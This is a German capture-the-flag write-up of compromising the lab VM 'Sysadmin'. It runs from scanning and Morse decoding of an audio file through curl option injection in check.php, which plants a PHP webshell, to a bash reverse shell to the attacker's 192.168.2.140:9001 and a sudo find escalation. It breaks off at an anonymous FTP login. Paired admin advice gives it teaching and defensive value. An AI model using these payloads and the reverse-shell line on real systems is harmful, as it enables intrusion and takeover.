192.168.2.107 08:00:27:4d:94:ff PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Hosts zu scannen. Es wird ein Host mit der IP-Adresse 192.168.2.107 und der MAC-Adresse 08:00:27:4d:94:ff (PCS Systemtechnik GmbH / Oracle VirtualBox) entdeckt.
Bewertung: Erfolgreiche Identifizierung des Zielsystems "Sysadmin" im Netzwerk. Diese IP ist der Ausgangspunkt für weitere Untersuchungen.
Empfehlung (Pentester): Notieren Sie die Ziel-IP 192.168.2.107. Führen Sie als Nächstes Port-Scans (z.B. mit `nmap`) durch, um offene Dienste und potenzielle Angriffsvektoren zu identifizieren.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts für ARP-Scans reduzieren. Überwachen Sie das Netzwerk auf ungewöhnliche ARP-Aktivitäten.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 79:5c:c4:27:1f:02:33:77:6f:56:ed:88:98:22:4b:ca (RSA) | 256 20:46:f8:a9:b4:32:c4:56:4b:e6:54:97:47:30:dd:7a (ECDSA) |_ 256 a1:1c:43:50:d6:03:14:27:69:c0:11:45:7e:df:25:e1 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:4D:94:FF (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel [...] # Gekürzte Ausgabe
Analyse: Ein umfassender Nmap-Scan aller TCP-Ports (`-p-`) auf dem Ziel 192.168.2.107 wird durchgeführt. Es werden zwei offene Ports identifiziert:
Bewertung: Die primären Angriffsvektoren sind der SSH-Dienst und der Webserver. Die Apache-Version 2.4.38 ist bekannt für die LPE-Schwachstelle CVE-2019-0211 ("apache2ctl graceful"), die jedoch spezifische Konfigurationen erfordert (wie mod_prefork mit Schreibrechten für den Apache-Benutzer auf Scoreboard-Dateien).
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 gründlich mittels Directory Busting und Analyse der Standardseite/Konfiguration. Versuchen Sie Standard-/schwache Zugangsdaten für SSH. Behalten Sie die Apache-Version im Hinterkopf für potenzielle LPE-Versuche nach einem Initial Access.
Empfehlung (Admin): Halten Sie Apache und SSH auf dem neuesten Stand. Konfigurieren Sie SSH sicher (Key-Auth, kein Root-Login). Überprüfen Sie die Apache-Konfiguration auf potenziell unsichere Einstellungen.
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1 localhost
127.0.1.1 cyber
#192.168.2.114 super.hmv
192.168.2.107 sysadmin.hmv
Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um den Hostnamen `sysadmin.hmv` der Ziel-IP 192.168.2.107 zuzuordnen.
Bewertung: Notwendiger Schritt, um das Ziel über einen Hostnamen ansprechen zu können, was für Web-Enumeration und potenzielle VHost-Scans hilfreich ist.
Empfehlung (Pentester): Standardvorgehen. Verwenden Sie nun `sysadmin.hmv` für weitere Scans.
Empfehlung (Admin): Keine direkte Aktion erforderlich.
=============================================================== Gobuster vX.Y.Z =============================================================== [...] =============================================================== Starting gobuster =============================================================== http://192.168.2.107/uploads (Status: 301) [Size: 316] [--> http://192.168.2.107/uploads/] http://192.168.2.107/audio (Status: 301) [Size: 314] [--> http://192.168.2.107/audio/] http://192.168.2.107/index.html (Status: 200) [Size: 10701] [...] # css, js, img Verzeichnisse nicht erneut aufgeführt =============================================================== Finished ===============================================================
http://192.168.2.107/audio/index.html (Status: 200) [Size: 1] <-- Leere Indexdatei http://192.168.2.107/uploads/index.html (Status: 200) [Size: 1] <-- Leere Indexdatei
Analyse: Ein `gobuster dir`-Scan auf die IP-Adresse findet neben den Standardverzeichnissen (`/img`, `/css`, `/js` - hier nicht erneut gelistet) auch `/uploads` und `/audio`. Beide Verzeichnisse enthalten eine leere `index.html`, was Directory Listing verhindert, aber die Existenz der Verzeichnisse bestätigt.
Bewertung: Die Verzeichnisse `/uploads` und `/audio` sind potenzielle Ziele. `/uploads` könnte auf eine Upload-Funktionalität hindeuten, `/audio` könnte Mediendateien enthalten, die analysiert werden müssen.
Empfehlung (Pentester): Führen Sie gezielte Directory-Scans innerhalb von `/uploads` und `/audio` durch, um nach versteckten Dateien zu suchen. Suchen Sie auf der Webseite nach Funktionen, die mit diesen Verzeichnissen interagieren könnten.
Empfehlung (Admin): Leere `index.html`-Dateien sind eine gängige Methode, um Directory Listing zu verhindern, aber stellen Sie sicher, dass die Verzeichnisse selbst und ihre Inhalte angemessen geschützt sind (Berechtigungen).
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.107 + Target Hostname: sysadmin.hmv + Target Port: 80 + Start Time: 2022-09-30 13:45:17 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. [...] + The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5be480bbe551d, mtime: gzip + Allowed HTTP Methods: HEAD, GET, POST, OPTIONS + /icons/README: Apache default file found. [...]
Analyse: Ein `nikto`-Scan wird nun gegen den Hostnamen `sysadmin.hmv` durchgeführt. Er bestätigt den Apache-Server, meldet erneut fehlende Security Header und die ETag-Inode-Leakage (geringes Risiko). Neu ist der Fund der Apache-Standarddatei `/icons/README`.
Bewertung: Der Nikto-Scan auf den Hostnamen liefert keine wesentlich neuen Erkenntnisse im Vergleich zum Scan auf die IP. Der Fund `/icons/README` ist typisch für Apache und normalerweise harmlos.
Empfehlung (Pentester): Konzentrieren Sie sich weiter auf die gefundenen Verzeichnisse `/uploads` und `/audio` und die Suche nach VHosts.
Empfehlung (Admin): Entfernen Sie Standarddateien wie `/icons/README` von Produktionsservern. Implementieren Sie die fehlenden Security Header.
Not Found
The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.2.107 Port 80
Analyse: Der Versuch, `http://192.168.2.107/robots.txt` (oder `http://sysadmin.hmv/robots.txt`) abzurufen, schlägt mit einem 404 Not Found Fehler fehl.
Bewertung: Es gibt keine `robots.txt`-Datei, die Hinweise auf erlaubte oder verbotene Pfade geben könnte.
Empfehlung (Pentester): Fahren Sie mit anderen Enumerationsmethoden fort.
Empfehlung (Admin): Das Fehlen einer `robots.txt` ist kein Sicherheitsproblem.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
The authenticity of host '192.168.2.107 (192.168.2.107)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...] # Login scheitert wahrscheinlich (kein Passwort/Key)
[...] # Hydra findet keine gültigen Logins (impliziert, da kein Erfolg gezeigt wird)
Analyse: Es werden verschiedene Versuche unternommen, mit dem SSH-Dienst zu interagieren. `nc` bestätigt den SSH-Banner. Ein direkter Login-Versuch als `root` scheitert (keine Zugangsdaten). Ein Brute-Force-Angriff mit `hydra` unter Verwendung einer User- und Passwortliste (`rockyou.txt`) gegen den Hostnamen `sysadmin.hmv` wird gestartet (`-F` stoppt nach dem ersten Fund), scheint aber erfolglos zu bleiben, da kein erfolgreicher Login gemeldet wird.
Bewertung: Standard-Login-Versuche und Brute-Force gegen SSH waren nicht erfolgreich. Der SSH-Zugang erfordert wahrscheinlich spezifische Zugangsdaten oder einen Schlüssel.
Empfehlung (Pentester): Suchen Sie weiter nach Hinweisen auf SSH-Zugangsdaten (z.B. in Web-Verzeichnissen, Konfigurationsdateien). Konzentrieren Sie sich auf die Web-Enumeration.
Empfehlung (Admin): Starke Passwörter und/oder Key-basierte Authentifizierung für SSH verwenden. Fail2ban implementieren, um Brute-Force-Angriffe zu blockieren.
------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- [...] Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php [...] ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: `searchsploit` wird verwendet, um in der lokalen Exploit-DB-Datenbank nach bekannten Schwachstellen für Apache 2.4.38 zu suchen. Es wird unter anderem ein Local Privilege Escalation (LPE)-Exploit gefunden (`linux/local/46676.php`), der auf `logrotate` und `apache2ctl graceful` abzielt.
Bewertung: Ein potenzieller LPE-Vektor wurde identifiziert. Dieser Exploit ist jedoch nur *nach* dem Erhalt eines initialen Zugriffs (z.B. als `www-data`) relevant und erfordert bestimmte Systemkonfigurationen.
Empfehlung (Pentester): Behalten Sie diesen LPE-Exploit im Hinterkopf für die Post-Exploitation-Phase.
Empfehlung (Admin): Patchen Sie Apache auf eine neuere Version, um bekannte Schwachstellen zu schließen.
[...] # Kein Erfolg gemeldet
[...] # Kein Erfolg gemeldet
Analyse: Zwei `gobuster vhost`-Scans werden durchgeführt, um virtuelle Hosts zu finden, die auf `sysadmin.hmv` gehostet werden. Es werden verschiedene Wortlisten verwendet. Beide Scans liefern keine Ergebnisse (keine VHosts mit Status 200 gefunden).
Bewertung: Es scheint keine weiteren leicht zu findenden VHosts auf der primären IP/Hostname zu geben. Dies schließt jedoch nicht aus, dass VHosts auf anderen (Sub-)Domains existieren könnten, die noch nicht bekannt sind.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Enumeration der gefundenen Verzeichnisse `/audio` und `/uploads`.
Empfehlung (Admin): Keine direkte Aktion.
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:07:27.821502 IP 192.168.2.107.22 > 192.168.2.140.60102: Flags [P.], seq 1556246640:1556246724, ack 2407920252, win 502, options [nop,nop,TS val 153770766 ecr 4043081646], length 84
E.....@.@..}...k........\.pp...|........... <-- SSH-Traffic (verschlüsselt)
Analyse: `tcpdump` wird gestartet, um den Netzwerkverkehr vom Zielsystem (192.168.2.107) mitzuschneiden und den ASCII-Inhalt anzuzeigen (`-A`). Es wird nur verschlüsselter SSH-Traffic (Port 22) zum Angreifer (192.168.2.140) erfasst, wahrscheinlich von den fehlgeschlagenen Login-Versuchen zuvor.
Bewertung: Dieser `tcpdump`-Lauf liefert keine neuen Erkenntnisse, da kein ungewöhnlicher oder unverschlüsselter Traffic (wie UDP-Broadcasts im Nightfall-Beispiel) beobachtet wird.
Empfehlung (Pentester): Fahren Sie mit der gezielten Enumeration der Web-Verzeichnisse fort.
Empfehlung (Admin): Keine direkte Aktion.
clnt_create: RPC: Unable to receive
clnt_create: RPC: Unable to receive
Analyse: Es wird versucht, mit `showmount` NFS-Exports vom Zielserver abzufragen (`-a` zeigt alle Mounts, `-d` nur Verzeichnisse). Beide Versuche scheitern mit einer RPC-Fehlermeldung.
Bewertung: Obwohl Nmap RPC/NFS-Dienste auf Port 111/2049 etc. angezeigt hat, scheint der NFS-Dienst nicht korrekt zu antworten oder es gibt Firewall-Regeln, die `showmount` blockieren. NFS ist als Angriffsvektor hier unwahrscheinlich.
Empfehlung (Pentester): NFS vorerst ignorieren. Fokus auf Webserver.
Empfehlung (Admin): Wenn NFS nicht benötigt wird, deaktivieren Sie die entsprechenden Dienste (rpcbind, nfs-kernel-server). Wenn es benötigt wird, stellen Sie sicher, dass es korrekt konfiguriert und durch Firewalls geschützt ist.
=============================================================== Gobuster v3.1.0 =============================================================== [...] =============================================================== 2022/09/30 14:36:39 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.107/audio/index.html (Status: 200) [Size: 1] http://192.168.2.107/audio/secret.wav (Status: 200) [Size: 1940444] =============================================================== Finished ===============================================================
Analyse: Ein gezielter `gobuster dir`-Scan auf das Verzeichnis `/audio` findet neben der leeren `index.html` eine große WAV-Datei namens `secret.wav`.
Bewertung: Wichtiger Fund. Große Mediendateien können versteckte Informationen enthalten (Steganographie, Metadaten, oder im Audio selbst kodierte Daten).
Empfehlung (Pentester): Laden Sie die Datei `secret.wav` herunter (`wget`). Analysieren Sie sie mit Audio-Tools (z.B. Audacity, Sonic Visualiser), Steganographie-Tools (`steghide`, `strings`) und suchen Sie nach Mustern oder versteckten Nachrichten (z.B. Morsecode).
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen in Mediendateien versteckt sind, die über den Webserver zugänglich sind.
[...] # Erfolgreicher Download
[Keine Ausgabe]
Analyse: Die Datei `secret.wav` wird heruntergeladen. Ein einfacher `strings`-Befehl, gefiltert nach "pass", liefert keine Ergebnisse.
Bewertung: Klartext-Passwörter sind wahrscheinlich nicht direkt in den Strings der Datei enthalten. Die Information muss anders kodiert sein.
Empfehlung (Pentester): Visuelle/akustische Analyse der WAV-Datei (z.B. in Audacity auf Spektrogramm achten) oder Verwendung spezialisierter Audio-Morsecode-Decoder.
Empfehlung (Admin): Keine direkte Aktion.
wav to mp3 convert:
--------------------------------------------------------------------------
Output File Source File
d0iji-7xkdg.mp3 secret.wav
Online Konverter/Download-Link (Beispiel):
https://s31.aconvert.com/convert/p3r68-cdx67/d0iji-7xkdg.mp3
Online Audio Morse Decoder (Beispiel-Tool & Ergebnis):
Converter: https://morsecode.world/international/decoder/audio-decoder-adaptive.html
Upload: d0iji-7xkdg.mp3
Ergebnis: SYSADMIN.INTRANET.HMV
Analyse: Die Kommentare beschreiben die (offline durchgeführten) Schritte: Die `secret.wav`-Datei wurde in MP3 konvertiert (möglicherweise weil das Decoder-Tool MP3 besser verarbeitet) und dann mit einem Online-Audio-Morsecode-Decoder analysiert. Das Ergebnis der Dekodierung ist der Hostname `SYSADMIN.INTRANET.HMV`.
Bewertung: Wichtiger Hinweis gefunden! Die Audiodatei enthielt einen versteckten Hostnamen, der wahrscheinlich auf einen internen VHost oder eine Intranet-Seite verweist.
Empfehlung (Pentester): Fügen Sie den neuen Hostnamen `SYSADMIN.INTRANET.HMV` (und ggf. Variationen wie `sysadmin.intranet.hmv`) zur lokalen `/etc/hosts`-Datei hinzu und lassen Sie ihn auf die Ziel-IP 192.168.2.107 zeigen. Rufen Sie dann `http://sysadmin.intranet.hmv` auf und beginnen Sie mit der Enumeration dieses neuen VHosts.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen wie interne Hostnamen in öffentlich zugänglichen Dateien zu verstecken, auch nicht durch Kodierung in Audio.
[Inhalt /etc/hosts nach Bearbeitung]
[...]
192.168.2.107 sysadmin.hmv SYSADMIN.INTRANET.HMV sysadmin.intranet.hmv
HTTP/1.1 200 OK Date: Fri, 30 Sep 2022 12:56:01 GMT Server: Apache/2.4.38 (Debian) [...] Content-Type: text/html
HTTP/1.1 200 OK Date: Fri, 30 Sep 2022 12:56:18 GMT Server: Apache/2.4.38 (Debian) [...] Content-Type: text/html
Analyse: Die `/etc/hosts`-Datei wird aktualisiert, um den neuen Hostnamen (in Groß- und Kleinschreibung) auf die Ziel-IP aufzulösen. Testanfragen mit `curl -I` (nur Header abrufen) an beide Varianten des Hostnamens liefern einen `HTTP/1.1 200 OK`-Status, was bestätigt, dass der VHost existiert und erreichbar ist.
Bewertung: Der neue VHost wurde erfolgreich konfiguriert und bestätigt.
Empfehlung (Pentester): Führen Sie Directory Busting (`gobuster dir`) auf `http://sysadmin.intranet.hmv` durch, um dessen Inhalt zu untersuchen.
Empfehlung (Admin): Stellen Sie sicher, dass interne VHosts angemessen geschützt sind.
=============================================================== Gobuster vX.Y.Z =============================================================== [...] =============================================================== Starting gobuster =============================================================== http://sysadmin.intranet.hmv/index.html (Status: 200) [Size: 122] http://sysadmin.intranet.hmv/check.php (Status: 200) [Size: 414] =============================================================== Finished ===============================================================
Analyse: Der `gobuster dir`-Scan auf den VHost `sysadmin.intranet.hmv` findet eine `index.html` und eine PHP-Datei namens `check.php`.
Bewertung: Die Datei `check.php` ist das primäre Ziel für weitere Untersuchungen, da sie wahrscheinlich dynamische Funktionalität enthält.
Empfehlung (Pentester): Analysieren Sie `check.php`. Rufen Sie sie im Browser auf, untersuchen Sie den Quellcode (falls sichtbar) und versuchen Sie, Parameter zu finden und zu testen (z.B. mit `wfuzz`). Suchen Sie nach LFI-, RCE- oder SSRF-Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass alle PHP-Skripte sicher programmiert sind und keine bekannten Schwachstellen enthalten.
Test mit LFI-Payload: http://sysadmin.intranet.hmv/check.php?file=../../../../../etc/passwd [Kein Erfolg / Keine Ausgabe im Log] WFuzz zum Finden von Parametern: wfuzz -u "http://sysadmin.intranet.hmv/check.php?FUZZ=../../../etc/passwd" -w [Wortliste] --hh 414 [Kein Erfolg / Keine relevanten Parameter gefunden im Log] SQLMap-Versuch (scheitert wahrscheinlich, da keine DB-Fehler sichtbar): sqlmap -r /home/cyber/Downloads/sysadmin.reg --batch --dbs [Kein Erfolg im Log] Test durch leere Eingabe im Formular (impliziert): Seite enthält Text: "Enter the address you want to verify. Example: http://localhost/index.html" Nach Klick auf "Go" (mit leerem Feld): Requesting Site... curl: try 'curl --help' or 'curl --manual' for more information Test mit URL als Eingabe: Eingabe in Formular: http://192.168.2.140/ben.php Ausgabe/Verhalten: Seite versucht, diese URL via curl abzurufen (impliziert durch Fehlermeldung oben?) Versuch, eine Datei per SSRF herunterzuladen: Eingabe in Formular: http://192.168.2.140/ben.php -o hack.php Verhalten: Lädt 'ben.php' herunter und speichert sie als 'hack.php' auf dem Zielserver im Webroot.
Analyse: Verschiedene manuelle und automatisierte Tests werden auf `check.php` angewendet. LFI- und Parameter-Fuzzing scheinen erfolglos. Ein SQLMap-Versuch wird erwähnt, bleibt aber ohne Ergebnis. Die Analyse des Formulars auf der Seite (`check.php` selbst?) zeigt, dass es eine URL erwartet ("Enter the address..."). Wenn das Feld leer gelassen wird, erscheint eine `curl`-Fehlermeldung auf der Seite. Wenn eine externe URL (http://192.168.2.140/ben.php) eingegeben wird, versucht die Anwendung anscheinend, diese URL serverseitig mit `curl` abzurufen. Entscheidend ist der letzte Test: Durch Eingabe einer URL mit `curl`-Optionen (`http://192.168.2.140/ben.php -o hack.php`) kann der Angreifer die Anwendung dazu bringen, eine Datei (`ben.php`) vom Angreifer-Server herunterzuladen und als `hack.php` auf dem Zielserver zu speichern. Dies ist eine klassische Server-Side Request Forgery (SSRF)-Schwachstelle, die hier zu Remote Code Execution (RCE) führt, da `curl`-Parameter injiziert werden können.
Bewertung: Kritische Schwachstelle (SSRF mit Parameter Injection, die zu RCE führt) in `check.php` identifiziert. Der Angreifer kann die Anwendung dazu bringen, beliebige Dateien von externen Quellen herunterzuladen und lokal zu speichern oder potenziell andere `curl`-Befehle auszuführen.
Empfehlung (Pentester): Erstellen Sie eine PHP-Webshell (`ben.php`) auf Ihrem Angreifer-Server (192.168.2.140). Starten Sie dort einen einfachen HTTP-Server. Verwenden Sie die SSRF-Lücke in `check.php`, um die Webshell auf den Zielserver herunterzuladen und im Webroot abzulegen (z.B. durch Eingabe von `http://192.168.2.140/ben.php -o /var/www/intranet/hack.php` im Formular). Rufen Sie anschließend die hochgeladene Shell (`http://sysadmin.intranet.hmv/hack.php?ben=id`) auf, um RCE zu bestätigen.
Empfehlung (Admin): Beheben Sie dringend die SSRF-Schwachstelle in `check.php`. Benutzereingaben (insbesondere URLs) dürfen niemals ungefiltert oder unsanitisiert an Funktionen wie `curl` übergeben werden. Implementieren Sie eine strikte Whitelist für erlaubte Protokolle und Hosts oder deaktivieren Sie die Funktionalität, externe URLs abzurufen. Validieren und bereinigen Sie alle Eingaben, um Parameter Injection zu verhindern.
Eingabe im Formular auf check.php: http://192.168.2.140/ben.php -o hack.php # Annahme: Angreifer hostet ben.php (Webshell) auf 192.168.2.140 # Annahme: Datei wird als hack.php im Webroot von sysadmin.intranet.hmv gespeichert Aufruf der hochgeladenen Shell im Browser: http://sysadmin.intranet.hmv/hack.php?ben=ls Ausgabe im Browser: check.php hack.php index.html Aufruf der hochgeladenen Shell im Browser: http://sysadmin.intranet.hmv/hack.php?ben=id Ausgabe im Browser: uid=33(www-data) gid=33(www-data) groups=33(www-data) Aufruf der hochgeladenen Shell im Browser (LFI-Versuch): view-source:http://sysadmin.intranet.hmv/hack.php?ben=cat%20../../../../etc/passwd%20|%20grep%20bash Ausgabe im Browser: root:x:0:0:root:/root:/bin/bash tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
Analyse: Die SSRF-Schwachstelle wird ausgenutzt, um eine Webshell (`ben.php`) vom Angreifer-Server (192.168.2.140) herunterzuladen und als `hack.php` auf dem Zielserver zu speichern. Anschließend wird die hochgeladene Shell `hack.php` über den Browser aufgerufen:
Bewertung: Remote Code Execution als `www-data` wurde erfolgreich über die SSRF-Lücke und die hochgeladene Webshell erreicht. Der Initial Access ist somit erfolgt.
Empfehlung (Pentester): Nutzen Sie die Webshell, um eine stabilere Reverse Shell zum Angreifer-System aufzubauen.
Empfehlung (Admin): SSRF-Lücke schließen, Webshell entfernen, Systemsicherheit prüfen.
listening on [any] 9001 ...
view-source:http://sysadmin.intranet.hmv/hack.php?ben=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.107] 37528
bash: cannot set terminal process group (463): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Ein Netcat-Listener wird auf Port 9001 des Angreifer-Systems (192.168.2.140) gestartet. Die Webshell `hack.php` wird mit einem URL-kodierten Bash-Reverse-Shell-Payload aufgerufen. Der Listener empfängt die Verbindung, und der Angreifer erhält eine Shell als `www-data` auf dem Zielsystem.
Bewertung: Erfolgreiche Etablierung einer interaktiven Reverse Shell. Der Initial Access ist stabilisiert.
Empfehlung (Pentester): Stabilisieren Sie die Shell weiter (Python PTY, `export TERM=xterm`). Beginnen Sie mit der Privilege Escalation Enumeration.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Behebung der SSRF/RCE-Lücke.
www-data@Sysadmin:/var/www/intranet$<-- Prompt ändert sich leicht
[Keine Ausgabe]
Analyse: Die erhaltene einfache Shell wird mittels Python PTY-Trick zu einer interaktiveren TTY-Shell aufgewertet. Anschließend wird die `TERM`-Variable gesetzt, um die Kompatibilität mit Tools wie `clear` oder Texteditoren zu verbessern.
Bewertung: Standardmäßige und sinnvolle Schritte zur Shell-Stabilisierung.
Empfehlung (Pentester): Fahren Sie mit der Enumeration fort.
Empfehlung (Admin): Keine direkte Aktion.
Kurzbeschreibung: Die PHP-Anwendung `check.php` auf dem virtuellen Host `http://sysadmin.intranet.hmv` ist anfällig für Server-Side Request Forgery (SSRF). Sie nimmt eine URL über einen GET-Parameter (vermutlich `file`, obwohl im Exploit-Schritt nicht explizit genannt) entgegen und ruft diese URL serverseitig mittels des `curl`-Befehls ab. Entscheidend ist, dass die Benutzereingabe nicht ausreichend validiert oder bereinigt wird, was es ermöglicht, zusätzliche `curl`-Parameter zu injizieren. Durch Injizieren der `-o`-Option von `curl` kann ein Angreifer die Anwendung dazu bringen, eine Datei von einem externen, vom Angreifer kontrollierten Server herunterzuladen und unter einem beliebigen Namen im Webroot des Zielservers zu speichern. Wird auf diese Weise eine PHP-Webshell hochgeladen, führt dies zu Remote Code Execution (RCE).
Voraussetzungen:
Schritt-für-Schritt Anleitung:
system($GET['ben']);*(Hinweis: Im tatsächlichen Payload müssen ``-Tags vorhanden sein).*
[...] # Ausgabe von check.php ist nicht relevant, wichtig ist der Nebeneffekt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Erwartetes Ergebnis: Die Fähigkeit, eine PHP-Webshell auf den Zielserver hochzuladen und anschließend beliebige Betriebssystembefehle als `www-data` auszuführen.
Beweismittel: Die erfolgreiche Ausführung des `id`-Befehls über die hochgeladene `hack.php`-Webshell.
Risikobewertung: Hoch. SSRF in Kombination mit Parameter-Injektion ist eine kritische Schwachstelle, die oft zu RCE oder dem Auslesen lokaler Dateien führt. Sie ermöglicht die vollständige Kompromittierung der Webanwendung und des ausführenden Benutzers.
Empfehlungen zur Behebung:
Matching Defaults entries for www-data on Sysadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on Sysadmin:
(tom) NOPASSWD: /usr/bin/find
Analyse: Als `www-data` wird `sudo -l` ausgeführt. Die Ausgabe zeigt, dass `www-data` den Befehl `/usr/bin/find` ohne Passwort (`NOPASSWD`) als Benutzer `tom` ausführen darf.
Bewertung: Dies ist ein klarer Privilege Escalation Vektor von `www-data` zu `tom`. Da `find` die Option `-exec` hat, kann dies genutzt werden, um eine Shell als Benutzer `tom` zu starten.
Empfehlung (Pentester): Nutzen Sie die `sudo`-Regel, um eine Shell als `tom` zu erhalten: `sudo -u tom /usr/bin/find . -exec /bin/sh \; -quit`.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Das Ausführen von `find` als anderer Benutzer ist extrem gefährlich. Wenn `www-data` bestimmte Suchoperationen im Kontext von `tom` durchführen muss, erstellen Sie ein spezifisches, sicheres Skript dafür und erlauben Sie nur dessen Ausführung via `sudo`.
$ # Shell als tom erhalten
uid=1000(tom) gid=1000(tom) groups=1000(tom),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Analyse: Der `sudo`-Befehl wird genutzt, um `find` als `tom` auszuführen. Die Option `-exec /bin/sh \; -quit` startet eine Shell. Der `id`-Befehl bestätigt, dass die Shell nun mit den Rechten des Benutzers `tom` läuft.
Bewertung: Privilege Escalation von `www-data` zu `tom` erfolgreich durchgeführt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (`python3 -c 'import pty; pty.spawn("/bin/bash")'`, `export TERM=xterm`). Enumerieren Sie nun als `tom` weiter: `sudo -l`, Home-Verzeichnis (`/home/tom`), SUID-Dateien etc.
Empfehlung (Admin): `sudo`-Regel korrigieren.
tom@Sysadmin:/var/www/intranet$
[Keine Ausgabe]
Analyse: Die Shell wird als `tom` mit Python PTY und `export TERM=xterm` stabilisiert.
Bewertung: Gute Praxis zur Verbesserung der Shell-Interaktivität.
Empfehlung (Pentester): Fahren Sie mit der Enumeration als `tom` fort.
Empfehlung (Admin): Keine direkte Aktion.
[...] # Standard SUID-Binaries, keine offensichtlich neuen oder ungewöhnlichen
Analyse: Als `tom` wird erneut nach SUID-Dateien gesucht. Die Ausgabe (hier gekürzt) zeigt wahrscheinlich nur die Standard-SUID-Binaries, ohne neue leicht ausnutzbare Vektoren.
Bewertung: SUID-Dateien scheinen kein direkter Weg zur Root-Eskalation von `tom` aus zu sein.
Empfehlung (Pentester): Prüfen Sie `sudo -l` für `tom`, analysieren Sie das Home-Verzeichnis, laufende Prozesse, Cronjobs und Netzwerkkonfigurationen.
Empfehlung (Admin): Regelmäßig SUID-Dateien überprüfen.
qPoxwFd0Igm00La5Dwubh9Cr
~
Hi Tom,
remember that due to security policies only you can access the resource..
I repeat,
only you
regads <-- Tippfehler 'regards'
admin
~
Analyse: Als `tom` wird die `user.txt` (User-Flag) gefunden und gelesen. Eine `notes.txt` wird ebenfalls gefunden, die eine vage Nachricht vom "admin" enthält, dass "nur du" auf "die Ressource" zugreifen kannst.
Bewertung: User-Flag gefunden. Die `notes.txt` ist ein Hinweis. "Die Ressource" und "nur du" könnte sich auf einen Dienst beziehen, der nur lokal erreichbar ist oder eine spezielle Authentifizierung erfordert, die nur `tom` hat.
Empfehlung (Pentester): Untersuchen Sie lokale Dienste, die nur an `127.0.0.1` gebunden sind (`ss -lntp | grep 127.0.0.1`). Überprüfen Sie die `sudo -l`-Ausgabe für `tom` (falls noch nicht geschehen).
Empfehlung (Admin): Keine direkten Maßnahmen aufgrund der Notiz, außer der Sicherstellung, dass interne Dienste angemessen geschützt sind.
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port [...] tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* tcp LISTEN 0 32 127.0.0.1:65123 0.0.0.0:* <-- Interessant! tcp LISTEN 0 128 *:http *:* [...]
Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 (vsFTPd 3.0.3) <-- FTP-Server!
Analyse: `ss -tulpe` listet Netzwerk-Sockets auf. Es wird ein Dienst entdeckt, der nur auf dem lokalen Interface (`127.0.0.1`) auf Port 65123 lauscht. Ein `telnet`-Versuch auf diesen Port offenbart einen vsFTPd-Server (Version 3.0.3).
Bewertung: Dies ist wahrscheinlich "die Ressource", auf die nur `tom` (bzw. Prozesse auf der lokalen Maschine) zugreifen kann. Ein lokaler FTP-Server könnte Konfigurationsdateien oder andere sensible Informationen enthalten.
Empfehlung (Pentester): Verbinden Sie sich mit dem lokalen FTP-Server (`ftp localhost 65123`). Versuchen Sie einen anonymen Login oder verwenden Sie die Zugangsdaten von `tom`, falls bekannt. Enumerieren Sie den Inhalt des FTP-Servers.
Empfehlung (Admin): Stellen Sie sicher, dass lokal gebundene Dienste wie dieser FTP-Server notwendig sind und sicher konfiguriert sind (Authentifizierung, Berechtigungen).
ftp: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. 220 (vsFTPd 3.0.3) Name (localhost:tom): anonymous 331 Please specify the password. Password:anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
